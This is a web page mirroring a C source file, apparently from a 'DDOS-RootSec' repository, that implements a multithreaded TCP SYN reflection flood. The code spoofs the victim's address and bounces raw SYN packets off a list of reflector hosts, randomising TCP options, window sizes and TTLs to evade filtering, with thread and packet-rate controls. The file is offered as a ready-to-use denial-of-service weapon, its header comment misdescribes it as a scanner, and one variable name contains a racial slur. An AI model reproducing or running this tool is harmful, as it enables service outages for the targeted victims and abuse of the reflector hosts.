Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/amptfo.c
4565 views
1
/*
2
hi github, this script is made by googleadmin, by the one and only googleadmin
3
scan for devices with port 80 open on tcp and put it on a list :)
4
a little gift for the community
5
:*
6
*/
7
8
#include <unistd.h>
9
#include <time.h>
10
#include <sys/types.h>
11
#include <sys/socket.h>
12
#include <sys/ioctl.h>
13
#include <string.h>
14
#include <stdlib.h>
15
#include <stdio.h>
16
#include <pthread.h>
17
#include <netinet/tcp.h>
18
#include <netinet/ip.h>
19
#include <netinet/in.h>
20
#include <netinet/if_ether.h>
21
#include <netdb.h>
22
#include <net/if.h>
23
#include <arpa/inet.h>
24
#define MAX_PACKET_SIZE 4096
25
#define PHI 0x9e3779b9
26
static unsigned long int Q[4096], c = 362436;
27
static unsigned int floodport;
28
struct list
29
{
30
struct sockaddr_in data;
31
struct list *next;
32
struct list *prev;
33
};
34
struct list *head;
35
volatile int limiter;
36
volatile unsigned int pps;
37
volatile unsigned int sleeptime = 100;
38
struct thread_data{ int thread_id; int dport; struct list *list_node; struct sockaddr_in sin; };
39
void init_rand(unsigned long int x)
40
{
41
int i;
42
Q[0] = x;
43
Q[1] = x + PHI;
44
Q[2] = x + PHI + PHI;
45
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
46
}
47
unsigned long int rand_cmwc(void)
48
{
49
unsigned long long int t, a = 18782LL;
50
static unsigned long int i = 4095;
51
unsigned long int x, r = 0xfffffffe;
52
i = (i + 1) & 4095;
53
t = a * Q[i] + c;
54
c = (t >> 32);
55
x = t + c;
56
if (x < c) {
57
x++;
58
c++;
59
}
60
return (Q[i] = r - x);
61
}
62
int randnum(int min_num, int max_num)
63
{
64
int result = 0, low_num = 0, hi_num = 0;
65
66
if (min_num < max_num)
67
{
68
low_num = min_num;
69
hi_num = max_num + 1;
70
} else {
71
low_num = max_num + 1;
72
hi_num = min_num;
73
}
74
75
76
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
77
return result;
78
}
79
unsigned short csum (unsigned short *buf, int count)
80
{
81
register unsigned long sum = 0;
82
while( count > 1 ) { sum += *buf++; count -= 2; }
83
if(count > 0) { sum += *(unsigned char *)buf; }
84
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
85
return (unsigned short)(~sum);
86
}
87
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int pipisize) {
88
struct tcp_pseudo
89
{
90
unsigned long src_addr;
91
unsigned long dst_addr;
92
unsigned char zero;
93
unsigned char proto;
94
unsigned short length;
95
} pseudohead;
96
unsigned short total_len = iph->tot_len;
97
pseudohead.src_addr=iph->saddr;
98
pseudohead.dst_addr=iph->daddr;
99
pseudohead.zero=0;
100
pseudohead.proto=IPPROTO_TCP;
101
pseudohead.length=htons(sizeof(struct tcphdr) + pipisize);
102
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + pipisize;
103
unsigned short *tcp = malloc(totaltcp_len);
104
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
105
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + pipisize);
106
unsigned short output = csum(tcp,totaltcp_len);
107
free(tcp);
108
return output;
109
}
110
void setup_ip_header(struct iphdr *iph)
111
{
112
iph->ihl = 5;
113
iph->version = 4;
114
iph->tos = 0;
115
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 24;
116
iph->id = htonl(54321);
117
iph->frag_off = htons(0x4000);
118
iph->ttl = MAXTTL;
119
iph->protocol = IPPROTO_TCP;
120
iph->check = 0;
121
iph->saddr = inet_addr("192.168.3.100");
122
}
123
void setup_tcp_header(struct tcphdr *tcph)
124
{
125
tcph->source = htons(5678);
126
tcph->check = 0;
127
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89", 24); // tcp options
128
//memcpy((void *)tcph + sizeof(struct tcphdr) + 24, "\x55\x53\x45\x52\x20\x63\x73\x61\x6e\x64\x65\x72\x73\x0d\x0a", 15);
129
tcph->syn = 1;
130
tcph->window = htons(64240);
131
tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
132
}
133
void *flood(void *par1)
134
{
135
struct thread_data *td = (struct thread_data *)par1;
136
char datagram[MAX_PACKET_SIZE];
137
struct iphdr *iph = (struct iphdr *)datagram;
138
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
139
struct sockaddr_in sin = td->sin;
140
struct list *list_node = td->list_node;
141
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
142
if(s < 0){
143
fprintf(stderr, "Could not open raw socket.\n");
144
exit(-1);
145
}
146
memset(datagram, 0, MAX_PACKET_SIZE);
147
setup_ip_header(iph);
148
setup_tcp_header(tcph);
149
tcph->dest = htons(21);
150
iph->saddr = sin.sin_addr.s_addr;
151
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
152
int tmp = 1;
153
int niggershot = 30120;
154
const int *val = &tmp;
155
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
156
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
157
exit(-1);
158
}
159
init_rand(time(NULL));
160
register unsigned int i;
161
i = 0;
162
while(1){
163
tcph->check = 0;
164
tcph->seq = htonl(rand_cmwc() & 0xFFFFFFFFF);
165
tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
166
tcph->dest = htons(80);
167
iph->ttl = randnum(40, 130);
168
//iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
169
list_node = list_node->next;
170
iph->daddr = list_node->data.sin_addr.s_addr;
171
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
172
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
173
tcph->source = htons(rand_cmwc() & 0xFFFF);
174
//tcph->source = htons(td->dport);
175
tcph->dest = htons(80);
176
tcph->check = tcpcsum(iph, tcph, 24);
177
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
178
//SIMPLE PACKET EDITOR MADE BY GOOGLEADMIN
179
int windows[3] = {29200, 64240, 65535};
180
int ctos[3] = {0, 40, 72};
181
iph->tos = ctos[randnum(0,2)];
182
char stronka[] = "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89";
183
stronka[2] = randnum(4, 5);
184
stronka[3] = stronka[2] == 5 ? randnum(1, 180) : randnum(1, 250);
185
stronka[7] = 10;
186
stronka[8] = randnum(1, 250);
187
stronka[17] = 3;
188
stronka[18] = 3;
189
stronka[19] = randnum(6,9);
190
stronka[20] = 34;
191
stronka[22] = randnum(1,255);
192
stronka[23] = randnum(1,255);
193
tcph->window = htons(windows[randnum(0,2)]);
194
const char *newpayload = stronka;
195
memcpy((void *)tcph + sizeof(struct tcphdr), newpayload, 24);
196
pps++;
197
if(i >= limiter)
198
{
199
i = 0;
200
usleep(sleeptime);
201
}
202
i++;
203
}
204
}
205
int main(int argc, char *argv[ ])
206
{
207
if(argc < 6){
208
fprintf(stderr, "Invalid parameters!\n");
209
fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
210
exit(-1);
211
}
212
srand(time(NULL));
213
int i = 0;
214
head = NULL;
215
fprintf(stdout, "Setting up sockets...\n");
216
int floodport = atoi(argv[2]);
217
int max_len = 128;
218
char *buffer = (char *) malloc(max_len);
219
buffer = memset(buffer, 0x00, max_len);
220
int num_threads = atoi(argv[4]);
221
int maxpps = atoi(argv[5]);
222
limiter = 0;
223
pps = 0;
224
int multiplier = 20;
225
FILE *list_fd = fopen(argv[3], "r");
226
while (fgets(buffer, max_len, list_fd) != NULL) {
227
if ((buffer[strlen(buffer) - 1] == '\n') ||
228
(buffer[strlen(buffer) - 1] == '\r')) {
229
buffer[strlen(buffer) - 1] = 0x00;
230
if(head == NULL)
231
{
232
head = (struct list *)malloc(sizeof(struct list));
233
bzero(&head->data, sizeof(head->data));
234
head->data.sin_addr.s_addr=inet_addr(buffer);
235
head->next = head;
236
head->prev = head;
237
} else {
238
struct list *new_node = (struct list *)malloc(sizeof(struct list));
239
memset(new_node, 0x00, sizeof(struct list));
240
new_node->data.sin_addr.s_addr=inet_addr(buffer);
241
new_node->prev = head;
242
new_node->next = head->next;
243
head->next = new_node;
244
}
245
i++;
246
} else {
247
continue;
248
}
249
}
250
struct list *current = head->next;
251
pthread_t thread[num_threads];
252
struct sockaddr_in sin;
253
sin.sin_family = AF_INET;
254
sin.sin_addr.s_addr = inet_addr(argv[1]);
255
struct thread_data td[num_threads];
256
for(i = 0;i<num_threads;i++){
257
td[i].thread_id = i;
258
td[i].sin= sin;
259
td[i].dport= floodport;
260
td[i].list_node = current;
261
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
262
}
263
fprintf(stdout, "Starting flood...\n");
264
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
265
{
266
usleep((1000/multiplier)*1000);
267
if((pps*multiplier) > maxpps)
268
{
269
if(1 > limiter)
270
{
271
sleeptime+=100;
272
} else {
273
limiter--;
274
}
275
} else {
276
limiter++;
277
if(sleeptime > 25)
278
{
279
sleeptime-=25;
280
} else {
281
sleeptime = 0;
282
}
283
}
284
pps = 0;
285
}
286
return 0;
287
}
288
289